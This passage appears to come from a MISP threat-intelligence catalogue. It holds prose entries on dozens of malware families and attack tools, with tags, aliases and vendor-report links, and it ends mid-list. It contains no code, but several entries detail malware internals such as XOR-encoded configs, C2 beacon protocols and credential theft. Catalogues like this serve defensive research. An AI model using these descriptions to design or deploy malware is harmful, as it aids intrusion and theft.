SLOWDRIFT is a launcher that communicates via cloud based infrastructure. It sends system information to the attacker command and control and then downloads and executes additional payloads.Lure documents distributing SLOWDRIFT were not tailored for specific victims, suggesting that TEMP.Reaper is attempting to widen its target base across multiple industries and in the private sector. SLOWDRIFT was seen being deployed against academic and strategic targets in South Korea using lure emails with documents leveraging the HWP exploit. Recent SLOWDRIFT samples were uncovered in June 2017 with lure documents pertaining to cyber crime prevention and news stories. These documents were last updated by the same actor who developed KARAE, POORAIM and ZUMKONG.
The tag is: misp-galaxy:tool="SLOWDRIFT"
SLOWDRIFT is also known as:
-
FE_APT_Downloader_Win_SLOWDRIFT_1
-
FE_APT_Downloader_Win_SLOWDRIFT_2
-
APT.Downloader.SLOWDRIFT
SLOWDRIFT has relationships with:
-
similar: misp-galaxy:mitre-malware="SLOWDRIFT - S0218" with estimative-language:likelihood-probability="likely"
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf |
SOUNDWAVE
SOUNDWAVE is a windows based audio capturing utility. Via command line it accepts the -l switch (for listen probably), captures microphone input for 100 minutes, writing the data out to a log file in this format: C:\Temp\HncDownload\YYYYMMDDHHMMSS.log.
The tag is: misp-galaxy:tool="SOUNDWAVE"
SOUNDWAVE is also known as:
-
FE_APT_HackTool_Win32_SOUNDWAVE_1
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf |
ZUMKONG
ZUMKONG is a credential stealer capable of harvesting usernames and passwords stored by Internet Explorer and Chrome browsers. Stolen credentials are emailed to the attacker via HTTP POST requests to mail[.]zmail[.]ru.
The tag is: misp-galaxy:tool="ZUMKONG"
ZUMKONG is also known as:
-
FE_APT_Trojan_Zumkong
-
Trojan.APT.Zumkong
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf |
WINERACK
WINERACK is backdoor whose primary features include user and host information gathering, process creation and termination, filesystem and registry manipulation, as well as the creation of a reverse shell that utilizes statically-linked Wine cmd.exe code to emulate Windows command prompt commands. Other capabilities include the enumeration of files, directories, services, active windows and processes.
The tag is: misp-galaxy:tool="WINERACK"
WINERACK is also known as:
-
FE_APT_Backdoor_WINERACK
-
Backdoor.APT.WINERACK
WINERACK has relationships with:
-
similar: misp-galaxy:mitre-malware="WINERACK - S0219" with estimative-language:likelihood-probability="likely"
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf |
RoyalCli
The RoyalCli backdoor appears to be an evolution of BS2005 and uses familiar encryption and encoding routines. The name RoyalCli was chosen by us due to a debugging path left in the binary: 'c:\users\wizard\documents\visual studio 2010\Projects\RoyalCli\Release\RoyalCli.pdb' RoyalCli and BS2005 both communicate with the attacker’s command and control (C2) through Internet Explorer (IE) by using the COM interface IWebBrowser2. Due to the nature of the technique, this results in C2 data being cached to disk by the IE process; we’ll get to this later.
The tag is: misp-galaxy:tool="RoyalCli"
RoyalCli has relationships with:
-
similar: misp-galaxy:malpedia="RoyalCli" with estimative-language:likelihood-probability="likely"
Links |
SHARPKNOT
The tag is: misp-galaxy:tool="SHARPKNOT"
SHARPKNOT has relationships with:
-
similar: misp-galaxy:malpedia="SHARPKNOT" with estimative-language:likelihood-probability="likely"
Links |
https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf |
KillDisk Wiper
KillDisk, along with the multipurpose, cyberespionage-related BlackEnergy, was used in cyberattacks in late December 2015 against Ukraine’s energy sector as well as its banking, rail, and mining industries. The malware has since metamorphosed into a threat used for digital extortion, affecting Windows and Linux platforms. The note accompanying the ransomware versions, like in the case of Petya, was a ruse: Because KillDisk also overwrites and deletes files (and don’t store the encryption keys on disk or online), recovering the scrambled files was out of the question. The new variant we found, however, does not include a ransom note.
The tag is: misp-galaxy:tool="KillDisk Wiper"
KillDisk Wiper is also known as:
-
KillDisk
KillDisk Wiper has relationships with:
-
similar: misp-galaxy:malpedia="KillDisk" with estimative-language:likelihood-probability="likely"
Links |
UselessDisk
A new MBR bootlocker called DiskWriter, or UselessDisk, has been discovered that overwrites the MBR of a victim’s computer and then displays a ransom screen on reboot instead of booting into Windows. This ransom note asks for $300 in bitcoins in order to gain access to Windows again. Might be a wiper.
The tag is: misp-galaxy:tool="UselessDisk"
UselessDisk is also known as:
-
DiskWriter
Links |
GoScanSSH
During a recent Incident Response (IR) engagement, Talos identified a new malware family that was being used to compromise SSH servers exposed to the internet. This malware, which we have named GoScanSSH, was written using the Go programming language, and exhibited several interesting characteristics. This is not the first malware family that Talos has observed that was written using Go. However, it is relatively uncommon to see malware written in this programming language. In this particular case, we also observed that the attacker created unique malware binaries for each host that was infected with the GoScanSSH malware. Additionally, the GoScanSSH command and control (C2) infrastructure was observed leveraging the Tor2Web proxy service in an attempt to make tracking the attacker-controlled infrastructure more difficult and resilient to takedowns.
The tag is: misp-galaxy:tool="GoScanSSH"
Links |
http://blog.talosintelligence.com/2018/03/goscanssh-analysis.html |
Rovnix
We recently found that the malware family ROVNIX is capable of being distributed via macro downloader. This malware technique was previously seen in the DRIDEX malware, which was notable for using the same routines. DRIDEX is also known as the successor of the banking malware CRIDEX.
The tag is: misp-galaxy:tool="Rovnix"
Rovnix is also known as:
-
ROVNIX
Rovnix has relationships with:
-
similar: misp-galaxy:malpedia="Rovnix" with estimative-language:likelihood-probability="likely"
Links |
Kwampirs
Once Orangeworm has infiltrated a victim’s network, they deploy Trojan.Kwampirs, a backdoor Trojan that provides the attackers with remote access to the compromised computer. When executed, Kwampirs decrypts and extracts a copy of its main DLL payload from its resource section. Before writing the payload to disk, it inserts a randomly generated string into the middle of the decrypted payload in an attempt to evade hash-based detections.
The tag is: misp-galaxy:tool="Kwampirs"
Kwampirs has relationships with:
-
similar: misp-galaxy:malpedia="Kwampirs" with estimative-language:likelihood-probability="likely"
Links |
https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia |
Rubella Macro Builder
A crimeware kit dubbed the Rubella Macro Builder has recently been gaining popularity among members of a top-tier Russian hacking forum. Despite being relatively new and unsophisticated, the kit has a clear appeal for cybercriminals: it’s cheap, fast, and can defeat basic static antivirus detection.
The tag is: misp-galaxy:tool="Rubella Macro Builder"
Links |
https://www.flashpoint-intel.com/blog/rubella-macro-builder/ |
kitty Malware
Researchers at Imperva’s Incapsula said a new piece malware called Kitty leaves a note for cat lovers. It attacks the Drupal content management system (CMS) to illegally mine cryptocurrency Monero.
The tag is: misp-galaxy:tool="kitty Malware"
Maikspy
We discovered a malware family called Maikspy — a multi-platform spyware that can steal users’ private data. The spyware targets Windows and Android users, and first posed as an adult game named after a popular U.S.-based adult film actress. Maikspy, which is an alias that combines the name of the adult film actress and spyware, has been around since 2016.
The tag is: misp-galaxy:tool="Maikspy"
Links |
Huigezi malware
backdoor trojan popular found prevalently in China
The tag is: misp-galaxy:tool="Huigezi malware"
Links |
FacexWorm
Facebook, Chrome, and cryptocurrency users should be on the lookout for a new malware strain named FacexWorm that infects victims for the purpose of stealing passwords, stealing cryptocurrency funds, running cryptojacking scripts, and spamming Facebook users. This new strain was spotted in late April by Trend Micro researchers and appears to be related to two other Facebook Messenger spam campaigns, one that took place last August, and another one from December 2017, the latter spreading the Digmine malware. Researchers say FacexWorm’s modus operandi is similar to the previous two campaigns, but with the addition of new techniques aimed at cryptocurrency users.
The tag is: misp-galaxy:tool="FacexWorm"
Links |
Bankshot
implant used in Operation GhostSecret
The tag is: misp-galaxy:tool="Bankshot"
Bankshot has relationships with:
-
similar: misp-galaxy:malpedia="Bankshot" with estimative-language:likelihood-probability="likely"
Links |
https://www.bleepingcomputer.com/news/security/north-korean-hackers-are-up-to-no-good-again/ |
Proxysvc
downloader used in Operation GhostSecret
The tag is: misp-galaxy:tool="Proxysvc"
Links |
https://www.bleepingcomputer.com/news/security/north-korean-hackers-are-up-to-no-good-again/ |
Escad
backdoor used in Operation GhostSecret
The tag is: misp-galaxy:tool="Escad"
Links |
https://www.bleepingcomputer.com/news/security/north-korean-hackers-are-up-to-no-good-again/ |
StalinLocker
A new in-development screenlocker/wiper called StalinLocker, or StalinScreamer, was discovered by MalwareHunterTeam that gives you 10 minutes to enter a code or it will try to delete the contents of the drives on the computer. While running, it will display screen that shows Stalin while playing the USSR anthem and displaying a countdown until files are deleted.
The tag is: misp-galaxy:tool="StalinLocker"
StalinLocker is also known as:
-
StalinScreamer
Links |
VPNFilter
Advanced, likely state-sponsored or state-affiliated modular malware. The code of this malware overlaps with versions of the BlackEnergy malware. Targeted devices are Linksys, MikroTik, NETGEAR and TP-Link networking equipment in the small and home office (SOHO) space, as well as QNAP network-attached storage (NAS) systems.
The tag is: misp-galaxy:tool="VPNFilter"
Links |
https://www.fortinet.com/blog/threat-research/defending-against-the-new-vpnfilter-botnet.html |
Iron Backdoor
Iron Backdoor uses a virtual machine detection code taken directly from HackingTeam’s Soldier implant leaked source code. Iron Backdoor is also using the DynamicCall module from HackingTeam core library. Backdoor was used to drop cryptocurrency miners.
The tag is: misp-galaxy:tool="Iron Backdoor"
Links |
https://www.intezer.com/iron-cybercrime-group-under-the-scope-2/ |
Brambul
Brambul malware is a malicious Windows 32-bit SMB worm that functions as a service dynamic link library file or a portable executable file often dropped and installed onto victims’ networks by dropper malware. When executed, the malware attempts to establish contact with victim systems and IP addresses on victims’ local subnets. If successful, the application attempts to gain unauthorized access via the SMB protocol (ports 139 and 445) by launching brute-force password attacks using a list of embedded passwords. Additionally, the malware generates random IP addresses for further attacks.
The tag is: misp-galaxy:tool="Brambul"
Brambul has relationships with:
-
similar: misp-galaxy:malpedia="Brambul" with estimative-language:likelihood-probability="likely"
Links |
PLEAD
PLEAD has two kinds – RAT (Remote Access Tool) and downloader. The RAT operates based on commands that are provided from C&C servers. On the other hand, PLEAD downloader downloads modules and runs it on memory in the same way as TSCookie does.
The tag is: misp-galaxy:tool="PLEAD"
PLEAD has relationships with:
-
similar: misp-galaxy:malpedia="PLEAD" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="TSCookie" with estimative-language:likelihood-probability="likely"
Links |
https://blog.jpcert.or.jp/2018/06/plead-downloader-used-by-blacktech.html |
BabaYaga
The group behind BabaYaga —believed to be Russian-speaking hackers— uses this malware to inject sites with special keyboards to drive SEO traffic to hidden pages on compromised sites. These pages are then used to redirect users to affiliate marketing links, where if the user purchases advertised goods, the hackers also make a profit. The malware per-se is comprised of two modules —one that injects the spam content inside the compromised sites, and a backdoor module that gives attackers control over an infected site at any time. The intricacies of both modules are detailed in much more depth in this 26-page report authored by Defiant (formerly known as WordFence), the security firm which dissected the malware’s more recent versions. "[BabaYaga] is relatively well-written, and it demonstrates that the author has some understanding of software development challenges, like code deployment, performance and management," Defiant researchers say. "It can also infect Joomla and Drupal sites, or even generic PHP sites, but it is most fully developed around Wordpress."
The tag is: misp-galaxy:tool="BabaYaga"
Links |
https://www.bleepingcomputer.com/news/security/lol-babayaga-wordpress-malware-updates-your-site/ |
InvisiMole
Except for the malware’s binary file, very little is known of who’s behind it, how it spreads, or in what types of campaigns has this been used.
"Our telemetry indicates that the malicious actors behind this malware have been active at least since 2013, yet the cyber-espionage tool was never analyzed nor detected until discovered by ESET products on compromised computers in Ukraine and Russia," said ESET researcher Zuzana Hromcová, who recently penned an in-depth report about this new threat.
"All infection vectors are possible, including installation facilitated by physical access to the machine," Hromcová added.
Typical to malware used in highly-targeted attacks, the malware has been stripped of most clues that could lead researchers back to its author. With the exception of one file (dating to October 13, 2013), all compilation dates have been stripped and replaced with zeros, giving little clues regarding its timeline and lifespan.
Furthermore, the malware is some clever piece of coding in itself, as it’s comprised of two modules, both with their own set of spying features, but which can also help each other in exfiltrating data.
The tag is: misp-galaxy:tool="InvisiMole"
InvisiMole has relationships with:
-
similar: misp-galaxy:malpedia="InvisiMole" with estimative-language:likelihood-probability="likely"
Links |
Roaming Mantis
Roaming Mantis malware is designed for distribution through a simple, but very efficient trick based on a technique known as DNS hijacking. When a user attempts to access any website via a compromised router, they will be redirected to a malicious website. For example, if a user were to navigate to www.securelist.com using a web browser, the browser would be redirected to a rogue server which has nothing to do with the security research blog. As long as the browser displays the original URL, users are likely to believe the website is genuine. The web page from the rogue server displays the popup message: To better experience the browsing, update to the latest chrome version.
The tag is: misp-galaxy:tool="Roaming Mantis"
Roaming Mantis has relationships with:
-
similar: misp-galaxy:malpedia="Roaming Mantis" with estimative-language:likelihood-probability="likely"
Links |
https://securelist.com/roaming-mantis-uses-dns-hijacking-to-infect-android-smartphones/85178/ |
PLEAD Downloader
PLEAD is referred to both as a name of malware including TSCookie and its attack campaign. PLEAD has two kinds – RAT (Remote Access Tool) and downloader. The RAT operates based on commands that are provided from C&C servers. On the other hand, PLEAD downloader downloads modules and runs it on memory in the same way as TSCookie does.
The tag is: misp-galaxy:tool="PLEAD Downloader"
Links |
https://blog.jpcert.or.jp/2018/06/plead-downloader-used-by-blacktech.html |
ClipboardWalletHijacker
The malware’s purpose is to intercept content recorded in the Windows clipboard, look for strings resembling Bitcoin and Ethereum addresses, and replace them with ones owned by the malware’s authors. ClipboardWalletHijacker’s end-plan is to hijack BTC and ETH transactions, so victims unwittingly send funds to the malware’s authors.
The tag is: misp-galaxy:tool="ClipboardWalletHijacker"
Links |
TYPEFRAME
Trojan malware
The tag is: misp-galaxy:tool="TYPEFRAME"
Links |
Olympic Destroyer
The Winter Olympics this year is being held in Pyeongchang, South Korea. The Guardian, a UK Newspaper reported an article that suggested the Olympic computer systems suffered technical issues during the opening ceremony. Officials at the games confirmed some technical issues to non-critical systems and they completed recovery within around 12 hours. Sunday 11th February the Olympic games officials confirmed a cyber attack occurred but did not comment or speculate further. Talos have identified the samples, with moderate confidence, used in this attack. The infection vector is currently unknown as we continue to investigate. The samples identified, however, are not from adversaries looking for information from the games but instead they are aimed to disrupt the games. The samples analysed appear to perform only destructive functionality. There does not appear to be any exfiltration of data. Analysis shows that actors are again favouring legitimate pieces of software as PsExec functionality is identified within the sample. The destructive nature of this malware aims to render the machine unusable by deleting shadow copies, event logs and trying to use PsExec & WMI to further move through the environment. This is something we have witnessed previously with BadRabbit and Nyetya.
The tag is: misp-galaxy:tool="Olympic Destroyer"
Olympic Destroyer has relationships with:
-
similar: misp-galaxy:malpedia="Olympic Destroyer" with estimative-language:likelihood-probability="likely"
Links |
https://blog.talosintelligence.com/2018/02/olympic-destroyer.html |
DDKONG
The malware in question is configured with the following three exported functions: ServiceMain,Rundll32Call, DllEntryPoint. The ServiceMain exported function indicates that this DLL is expected to be loaded as a service. If this function is successfully loaded, it will ultimately spawn a new instance of itself with the Rundll32Call export via a call to rundll32.exe. The Rundll32Call exported function begins by creating a named event named ‘RunOnce’. This event ensures that only a single instance of DDKong is executed at a given time. If this is the only instance of DDKong running at the time, the malware continues. If it’s not, it dies. This ensures that only a single instance of DDKong is executed at a given time. DDKong attempts to decode an embedded configuration using a single byte XOR key of 0xC3. After this configuration is decoded and parsed, DDKONG proceeds to send a beacon to the configured remote server via a raw TCP connection. The packet has a header of length 32 and an optional payload. In the beacon, no payload is provided, and as such, the length of this packet is set to zero. After it sends the beacon, the malware expects a response command of either 0x4 or 0x6. Both responses instruct the malware to download and load a remote plugin. In the event 0x4 is specified, the malware is instructed to load the exported ‘InitAction’ function. If 0x6 is specified, the malware is instructed to load the exported ‘KernelDllCmdAction’ function. Prior to downloading the plugin, the malware downloads a buffer that is concatenated with the embedded configuration and ultimately provided to the plugin at runtime. As we can see in the above text, two full file paths are included in this buffer, providing us with insight into the original malware family’s name, as well as the author. After this buffer is collected, the malware downloads the plugin and loads the appropriate function. This plugin provides the attacker with the ability to both list files and download/upload files on the victim machine.
The tag is: misp-galaxy:tool="DDKONG"
DDKONG has relationships with:
-
similar: misp-galaxy:malpedia="DDKONG" with estimative-language:likelihood-probability="likely"
Links |
PLAINTEE
This sample is configured with three exported functions: Add, Sub, DllEntryPoint. The DLL expects the export named ‘Add’ to be used when initially loaded. When this function is executed PLAINTEE executes a command in a new process to add persistence. Next, the malware calls the ‘Sub’ function which begins by spawning a mutex named ‘microsoftfuckedupb’ to ensure only a single instance is running at a given time. In addition, PLAINTEE will create a unique GUID via a call to CoCreateGuid() to be used as an identifier for the victim. The malware then proceeds to collect general system enumeration data about the infected machine and enters a loop where it will decode an embedded config blob and send an initial beacon to the C2 server. The configuration blob is encoded using a simple single-byte XOR scheme. The first byte of the string is used as the XOR key to in turn decode the remainder of the data. The malware then proceeds to beacon to the configured port via a custom UDP protocol. The network traffic is encoded in a similar fashion, with a random byte being selected as the first byte, which is then used to decode the remainder of the packet via XOR. This beacon is continuously sent out until a valid response is obtained from the C2 server (there is no sleep timer set). After the initial beacon, there is a two second delay in between all other requests made. This response is expected to have a return command of 0x66660002 and to contain the same GUID that was sent to the C2 server. Once this response is received, the malware spawns several new threads, with different Command parameters, with the overall objective of loading and executing a new plugin that is to be received from the C2 server. During a file analysis of PLAINTEE in WildFire, we observed the attackers download and execute a plugin during the runtime for that sample. PLAINTEE expects the downloaded plugin to be a DLL with an export function of either ‘shell’ or ‘file’. The plugin uses the same network protocol as PLAINTEE and so we were able to trivially decode further commands that were sent. The following commands were observed: tasklist, ipconfig /all. The attacker performed these two commands 33 seconds apart. As automated commands are typically performed more quickly this indicates that they may have been sent manually by the attacker.
The tag is: misp-galaxy:tool="PLAINTEE"
PLAINTEE has relationships with:
-
similar: misp-galaxy:malpedia="PLAINTEE" with estimative-language:likelihood-probability="likely"
Links |
Koadic
Koadic, or COM Command & Control, is a Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire. The major difference is that Koadic does most of its operations using Windows Script Host
The tag is: misp-galaxy:tool="Koadic"
Koadic has relationships with:
-
similar: misp-galaxy:malpedia="Koadic" with estimative-language:likelihood-probability="likely"
Links |
https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/ |
Bisonal
In early May, Unit 42 discovered an attack campaign against at least one defense company in Russia and one unidentified organization in South Korea delivering a variant of Bisonal malware. While not previously publicly documented, the variant has been in the wild since at least 2014. There are three primary differences between it and older Bisonal malware including a different cipher and encryption for C2 communication, and a large rewrite of the code for both network communication and maintaining persistence. To date, we have only collected 14 samples of this variant, indicating it may be sparingly used. The adversary behind these attacks lured the targets into launching the Microsoft Windows executable malware by masquerading it as a PDF file (using a fake PDF icon) and reusing publicly available data for the decoy PDF file’s contents. Attacks using Bisonal have been blogged about in the past. In 2013, both COSEINC and FireEye revealed attacks using Bisonal against Japanese organizations . In October 2017, AhnLab published a report called “Operation Bitter Biscuit,” an attack campaign against South Korea, Japan, India and Russia using Bisonal and its successors, Bioazih and Dexbia.
The tag is: misp-galaxy:tool="Bisonal"
Bisonal has relationships with:
-
similar: misp-galaxy:malpedia="Korlia" with estimative-language:likelihood-probability="likely"
Links |
Sekur
Sekur has been CARBON SPIDER’s primary tool for several years, although usage over the last year appears to have declined. It contains all the functionality you would expect from a RAT, allowing the adversary to execute commands, manage the file system, manage processes, and collect data. In addition, it can record videos of victim sessions, log keystrokes, enable remote desktop, or install Ammyy Admin or VNC modules. From July 2014 on, samples were compiled with the capability to target Epicor POS systems and to collect credit card data.
The tag is: misp-galaxy:tool="Sekur"
Links |
https://www.crowdstrike.com/blog/arrests-put-new-focus-on-carbon-spider-adversary-group/ |
Agent ORM
Agent ORM began circulating alongside Skeur in campaigns throughout the second half of 2015. The malware collects basic system information and is able to take screenshots of victim systems. It is used to download next-stage payloads when systems of interest are identified. It is strongly suspected that Agent ORM has been deprecated in favor of script-based first-stage implants (VB Flash, JS Flash, and Bateleur).
The tag is: misp-galaxy:tool="Agent ORM"
Agent ORM is also known as:
-
Tosliph
-
DRIFTPIN
Links |
https://www.crowdstrike.com/blog/arrests-put-new-focus-on-carbon-spider-adversary-group/ |
VB Flash
VB Flash was first observed being deployed alongside Agent ORM in September 2015. It is likely that this was developed as a replacement to Agent ORM and contained similar capabilities. The first observed instance of VB Flash included comments and was easy to analyze—later versions soon began to integrate multiple layers of obfuscation. Several versions of VB Flash were developed including ones that utilized Google Forms, Google Macros, and Google Spreadsheets together to make a command-and-control (C2) channel. This variant would POST victim data to a specified Google form, then make a request to a Google macro script, receiving an address for a Google Spreadsheet from which to request commands.
The tag is: misp-galaxy:tool="VB Flash"
VB Flash is also known as:
-
HALFBAKED
VB Flash has relationships with:
-
similar: misp-galaxy:mitre-malware="HALFBAKED - S0151" with estimative-language:likelihood-probability="likely"
Links |
https://www.crowdstrike.com/blog/arrests-put-new-focus-on-carbon-spider-adversary-group/ |
JS Flash
JS Flash capabilities closely resemble those of VB Flash and leverage interesting techniques in deployment via batch scripts embedded as OLE objects in malicious documents. Many iterations of JS Flash were observed being tested before deployment, containing minor changes to obfuscation and more complex additions, such as the ability to download TinyMet (a cutdown of the Metasploit Meterpreter payload). PowerShell was also used heavily for the execution of commands and arbitrary script execution. No JS Flash samples were observed being deployed after November 2017.
The tag is: misp-galaxy:tool="JS Flash"
JS Flash is also known as:
-
JavaScript variant of HALFBAKED
Links |
https://www.crowdstrike.com/blog/arrests-put-new-focus-on-carbon-spider-adversary-group/ |
Bateleur
Bateleur deployments began not long after JS Flash and were also written in JavaScript. Deployments were more infrequent and testing was not observed. It is likely that Bateleur was run in parallel as an alternative tool and eventually replaced JS Flash as CARBON SPIDER’s first stage tool of choice. Although much simpler in design than JS Flash, all executing out of a single script with more basic obfuscation, Bateleur has a wealth of capabilities—including the ability to download arbitrary scripts and executables, deploy TinyMet, execute commands via PowerShell, deploy a credential stealer, and collect victim system information such as screenshots.
The tag is: misp-galaxy:tool="Bateleur"
Bateleur has relationships with:
-
similar: misp-galaxy:malpedia="Bateleur" with estimative-language:likelihood-probability="likely"
Links |
https://www.crowdstrike.com/blog/arrests-put-new-focus-on-carbon-spider-adversary-group/ |
JexBoss
A tool for testing and exploiting vulnerabilities in JBoss Application Servers.
The tag is: misp-galaxy:tool="JexBoss"
Links |
reGeorg
“Provides TCP tunneling over HTTP and bolts a SOCKS4/5 proxy on top of it, so, reGeorg is a fully-functional SOCKS proxy and gives ability to analyze target internal network.”
The tag is: misp-galaxy:tool="reGeorg"
reGeorg has relationships with:
-
similar: misp-galaxy:malpedia="reGeorg" with estimative-language:likelihood-probability="likely"
Links |
Hyena
An Active Directory and Windows system management software, which can be used for remote administration of servers and workstations.
The tag is: misp-galaxy:tool="Hyena"
Links |
csvde.exe
Imports and exports data from Active Directory Lightweight Directory Services (AD LDS) using files that store data in the comma-separated value (CSV) format.
The tag is: misp-galaxy:tool="csvde.exe"
Links |
NLBrute
A tool to brute-force Remote Desktop Protocol (RDP) passwords.
The tag is: misp-galaxy:tool="NLBrute"
Links |
xDedic RDP Patch
Used to create new RDP user accounts.
The tag is: misp-galaxy:tool="xDedic RDP Patch"
Links |
xDedic SysScan
Used to profile servers for potential sale on the dark net
The tag is: misp-galaxy:tool="xDedic SysScan"
Links |
Wmiexec
A PsExec-like tool, which executes commands through Windows Management Instrumentation (WMI).
The tag is: misp-galaxy:tool="Wmiexec"
Links |
RDPWrap
Allows a user to be logged in both locally and remotely at the same time.
The tag is: misp-galaxy:tool="RDPWrap"
Links |
PsExec
A light-weight telnet-replacement that lets you execute processes on other systems, complete with full interactivity for console applications, without having to manually install client software. When a command is executed on a remote computer using PsExec, then the service PSEXESVC will be installed on that system, which means that an executable called psexesvc.exe will execute the commands.
The tag is: misp-galaxy:tool="PsExec"
PsExec has relationships with:
-
similar: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="likely"
Links |
PAExec
A PsExec-like tool, which lets you launch Windows programs on remote Windows computers without needing to install software on the remote computer first. When the PAExec service is running on the remote computer, the name of the source system is added to service’s name, e.g., paexec-<id>-<source computer name>.exe, which can help to identify the entry point of the attack.
The tag is: misp-galaxy:tool="PAExec"
Links |
KEYMARBLE
This Malware Analysis Report (MAR) is the result of analytic efforts between Department of Homeland Security (DHS) and the Federal Bureau of Investigation (FBI). Working with U.S. Government partners, DHS and FBI identified Trojan malware variants used by the North Korean government. This malware variant has been identified as KEYMARBLE. The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA. For more information on HIDDEN COBRA activity.
The tag is: misp-galaxy:tool="KEYMARBLE"
KEYMARBLE has relationships with:
-
similar: misp-galaxy:malpedia="KEYMARBLE" with estimative-language:likelihood-probability="likely"
Links |
BISKVIT
The BISKVIT Trojan is a multi-component malware written in C#. We dubbed this malware BISKVIT based on the namespaces used in the code, which contain the word “biscuit”. Unfortunately, there is already an existing unrelated malware called BISCUIT, so BISKVIT is used instead, which is the Russian translation of biscuit.
The tag is: misp-galaxy:tool="BISKVIT"
Links |
Sirefef
This family of malware uses stealth to hide its presence on your PC. Trojans in this family can do different things, including: -Downloading and running other files -Contacting remote hosts -Disabling security features Members of the family can also change search results, which can generate money for the hackers who use Sirefef.
The tag is: misp-galaxy:tool="Sirefef"
Sirefef is also known as:
-
Win32/Sirefef
Links |
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Win32%2Fsirefef |
MagentoCore Malware
A Dutch security researcher has lifted the veil on a massive website hacking campaign that has infected 7,339 Magento stores with a script that collects payment card data from people shopping on the sites. The script is what industry experts call a "payment card scraper" or "skimmer." Hackers breach sites and modify their source code to load the script along with its legitimate files. The script usually loads on store checkout pages and secretly records payment card details entered in payment forms, data that it later sends to a server under the hacker’s control.
The tag is: misp-galaxy:tool="MagentoCore Malware"
Links |
https://www.bleepingcomputer.com/news/security/magentocore-malware-found-on-7-339-magento-stores/ |
NotPetya
Threat actors deploy a tool, called NotPetya, with the purpose of encrypting data on victims' machines and rendering it unusable. The malware was spread through tax software that companies and individuals require for filing taxes in Ukraine. Australia, Estonia, Denmark, Lithuania, Ukraine, the United Kingdom, and the United States issued statements attributing NotPetya to Russian state-sponsored actors. In June 2018, the United States sanctioned Russian organizations believed to have assisted the Russian state-sponsored actors with the operation.
The tag is: misp-galaxy:tool="NotPetya"
NotPetya is also known as:
-
Not Petya
NotPetya has relationships with:
-
similar: misp-galaxy:ransomware="Bad Rabbit" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="EternalPetya" with estimative-language:likelihood-probability="likely"
Links |
Xbash
Xbash is a malware family that is targeting Linux and Microsoft Windows servers. We can tie this malware, which we have named Xbash, to the Iron Group, a threat actor group known for previous ransomware attacks. Xbash was developed using Python and converted into self-contained Linux ELF executables by abusing the legitimate tool PyInstaller for distribution. Xbash aimed on discovering unprotected services, deleting victim’s MySQL, PostgreSQL and MongoDB databases, and ransom for Bitcoins. Linux based systems are targeted for ransomware and botnet capabilities. The ransomware targets and deletes linux databases and there is no evidence of any functionality that makes recovery even possible by payment the ransom. Where as, windows based systems are targeted for coinmining & self-propagating capabilities. Xbash spreads by attacking weak passwords and unpatched vulnerabilities.
The tag is: misp-galaxy:tool="Xbash"
Links |
LoJax
rootkit for the Unified Extensible Firmware Interface (UEFI). Used by APT28. The researchers named the rootkit LoJax, after the malicious samples of the LoJack anti-theft software that were discovered earlier this year.
The tag is: misp-galaxy:tool="LoJax"
Chainshot
The new piece of malware, which received the name Chainshot, is used in the early stages of an attack to activate a downloader for the final payload in a malicious chain reaction.
The tag is: misp-galaxy:tool="Chainshot"
Links |
CroniX
The researchers named this campaign CroniX, a moniker that derives from the malware’s use of Cron to achieve persistence and Xhide to launch executables with fake process names. The cryptocurrency minted on victim’s computers is Monero (XMR), the coin of choice in cryptojacking activities. To make sure that rival activity does not revive, CroniX deletes the binaries of other cryptominers present on the system. Another action CroniX takes to establish supremacy on the machine is to check the names of the processes and kill those that swallow 60% of the CPU or more.
The tag is: misp-galaxy:tool="CroniX"
Links |
https://www.bleepingcomputer.com/news/security/cronix-cryptominer-kills-rivals-to-reign-supreme/ |
FASTCash
Treasury has identified a sophisticated cyber-enabled ATM cash out campaign we are calling FASTCash. FASTCash has been active since late 2016 targeting banks in Africa and Asia to remotely compromise payment switch application servers within banks to facilitate fraudulent transactions, primarily involving ATMs, to steal cash equivalent to tens of millions of dollars. FBI has attributed malware used in this campaign to the North Korean government. We expect FASTCash to continue targeting retail payment systems vulnerable to remote exploitation.
The tag is: misp-galaxy:tool="FASTCash"
Zebrocy
Zebrocy is a tool used by APT28, which has been observed since late 2015. The communications module used by Zebrocy transmits using HTTP. The implant has key logging and file exfiltration functionality and utilises a file collection capability that identifies files with particular extensions.
The tag is: misp-galaxy:tool="Zebrocy"
Zebrocy is also known as:
-
Zekapab
Links |
https://www.ncsc.gov.uk/alerts/indicators-compromise-malware-used-apt28 |
CoalaBot
The tag is: misp-galaxy:tool="CoalaBot"
DanderSpritz
DanderSpritz consists entirely of plugins to gather intelligence, use exploits and examine already controlled machines. It is written in Java and provides a graphical windows interface similar to botnets administrative panels as well as a Metasploit-like console interface. It also includes its own backdoors and plugins for not-FuzzBunch-controlled victims DanderSpritz is the framework for controlling infected machines, different from FuZZbuNch as the latter provides a limited toolkit for the post-exploitation stage with specific functions such as DisableSecurity and EnableSecurity for DarkPulsar. For DanderSpritz works for a larger range of backdoors, using PeedleCheap in the victim to enable operators launching plugins. PeddleCheap is a plugin of DanderSpritz which can be used to configure implants and connect to infected machines. Once a connection is established all DanderSpritz post-exploitation features become available.
The tag is: misp-galaxy:tool="DanderSpritz"
DanderSpritz is also known as:
-
Dander Spritz
Links |
DarkPulsar
DarkPulsar is a very interesting administrative module for controlling a passive backdoor named ‘sipauth32.tsp’ that provides remote control.
The tag is: misp-galaxy:tool="DarkPulsar"
DarkPulsar is also known as:
-
Dark Pulsar
Links |
EASYFUN
EasyFun 2.2.0 Exploit for WDaemon / IIS MDaemon/WorldClient pre 9.5.6 WordClient / IIS6.0 exploit
The tag is: misp-galaxy:tool="EASYFUN"
Links |
ETCETERABLUE
